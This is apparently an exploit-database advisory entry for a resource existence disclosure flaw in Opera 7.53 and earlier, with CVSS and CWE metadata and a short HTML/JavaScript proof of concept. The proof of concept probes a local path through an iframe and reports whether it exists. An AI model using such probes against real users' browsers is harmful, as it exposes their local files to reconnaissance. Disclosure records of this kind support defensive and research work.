header-logo
Suggest Exploit
vendor:
Opera Web Browser
by:
Unknown
5.5
CVSS
MEDIUM
Resource Existence Disclosure
200
CWE
Product Name: Opera Web Browser
Affected Version From: Opera 7.53 and prior versions
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: a:opera:opera_web_browser
Metasploit:
Other Scripts:
Platforms Tested: Windows, Unix, Apple
Unknown

Opera Web Browser Resource Existence Disclosure Vulnerability

The vulnerability allows an attacker to determine the existence of resources on a vulnerable computer by using an IFRAME that is accessible within the same domain and changing its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Opera. This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

Mitigation:

No mitigation provided
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10961/info

Opera Web Browser is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Opera.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

Opera 7.53 and prior versions running Windows, Unix, and Apple platforms are reported vulnerable to this issue.

<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
????var sLocal="c:/winnt";
????frames[0].location.href=sLocal;
????setTimeout(
????????function () {
????????????try {
????????????????frames[0].document;
????????????????alert(sLocal+" does not exists.");
????????????} catch (oErr) {
????????????????alert(sLocal+" exists.");
????????????}
????????},
????????250
????);
}
</script>